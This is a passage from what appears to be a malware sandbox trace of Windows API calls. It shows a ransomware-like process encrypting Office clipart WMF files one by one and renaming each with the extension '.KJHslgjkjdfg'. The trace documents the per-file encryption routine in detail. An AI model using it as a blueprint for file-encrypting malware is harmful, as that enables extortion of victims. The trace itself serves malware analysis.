lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0194.433] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.433] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.433] GetProcessHeap () returned 0x990000 [0194.433] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.433] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.433] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.433] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.433] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.434] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.434] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.434] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.434] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.434] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.434] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.434] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.434] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x212e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x212e, lpOverlapped=0x0) returned 1 [0194.435] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2130, dwBufLen=0x2130 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2130) returned 1 [0194.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.435] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2130, lpOverlapped=0x0) returned 1 [0194.435] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.435] SetEndOfFile (hFile=0x130) returned 1 [0194.438] GetProcessHeap () returned 0x990000 [0194.438] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.438] GetProcessHeap () returned 0x990000 [0194.438] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.438] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.kjhslgjkjdfg")) returned 1 [0194.439] CloseHandle (hObject=0x130) returned 1 [0194.439] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1104, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151041.WMF", cAlternateFileName="")) returned 1 [0194.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.440] GetProcessHeap () returned 0x990000 [0194.440] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.440] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.440] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0194.442] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.442] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.442] GetProcessHeap () returned 0x990000 [0194.442] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.442] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.442] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.442] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.442] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.442] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.442] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.442] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.442] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.443] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.443] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1104, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1104, lpOverlapped=0x0) returned 1 [0194.443] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1110, dwBufLen=0x1110 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1110) returned 1 [0194.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.444] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1110, lpOverlapped=0x0) returned 1 [0194.444] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x11e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.444] SetEndOfFile (hFile=0x130) returned 1 [0194.445] GetProcessHeap () returned 0x990000 [0194.446] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.446] GetProcessHeap () returned 0x990000 [0194.446] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.446] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.kjhslgjkjdfg")) returned 1 [0194.447] CloseHandle (hObject=0x130) returned 1 [0194.447] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151045.WMF", cAlternateFileName="")) returned 1 [0194.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.447] GetProcessHeap () returned 0x990000 [0194.447] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.447] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.448] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.449] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.449] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.449] GetProcessHeap () returned 0x990000 [0194.450] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.450] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.450] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.450] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.450] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.450] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.450] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.450] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.450] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.450] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.450] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3c68, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3c68, lpOverlapped=0x0) returned 1 [0194.451] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3c70, dwBufLen=0x3c70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3c70) returned 1 [0194.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.451] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3c70, lpOverlapped=0x0) returned 1 [0194.452] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.452] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3d44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.452] SetEndOfFile (hFile=0x130) returned 1 [0194.453] GetProcessHeap () returned 0x990000 [0194.453] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.453] GetProcessHeap () returned 0x990000 [0194.453] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.453] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.kjhslgjkjdfg")) returned 1 [0194.454] CloseHandle (hObject=0x130) returned 1 [0194.454] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4844, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151047.WMF", cAlternateFileName="")) returned 1 [0194.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.454] GetProcessHeap () returned 0x990000 [0194.454] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.455] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.455] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0194.457] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.457] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.457] GetProcessHeap () returned 0x990000 [0194.457] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.457] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.457] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.457] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.457] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.457] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.457] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.458] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.458] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.458] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.458] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.458] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.458] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4844, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4844, lpOverlapped=0x0) returned 1 [0194.459] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4850, dwBufLen=0x4850 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4850) returned 1 [0194.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.459] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4850, lpOverlapped=0x0) returned 1 [0194.459] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.459] SetEndOfFile (hFile=0x130) returned 1 [0194.461] GetProcessHeap () returned 0x990000 [0194.461] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.461] GetProcessHeap () returned 0x990000 [0194.461] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.461] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.kjhslgjkjdfg")) returned 1 [0194.462] CloseHandle (hObject=0x130) returned 1 [0194.463] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3928, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151055.WMF", cAlternateFileName="")) returned 1 [0194.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.464] GetProcessHeap () returned 0x990000 [0194.464] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.464] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.465] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.467] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.467] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.467] GetProcessHeap () returned 0x990000 [0194.467] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.467] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.467] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.467] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.467] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.467] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 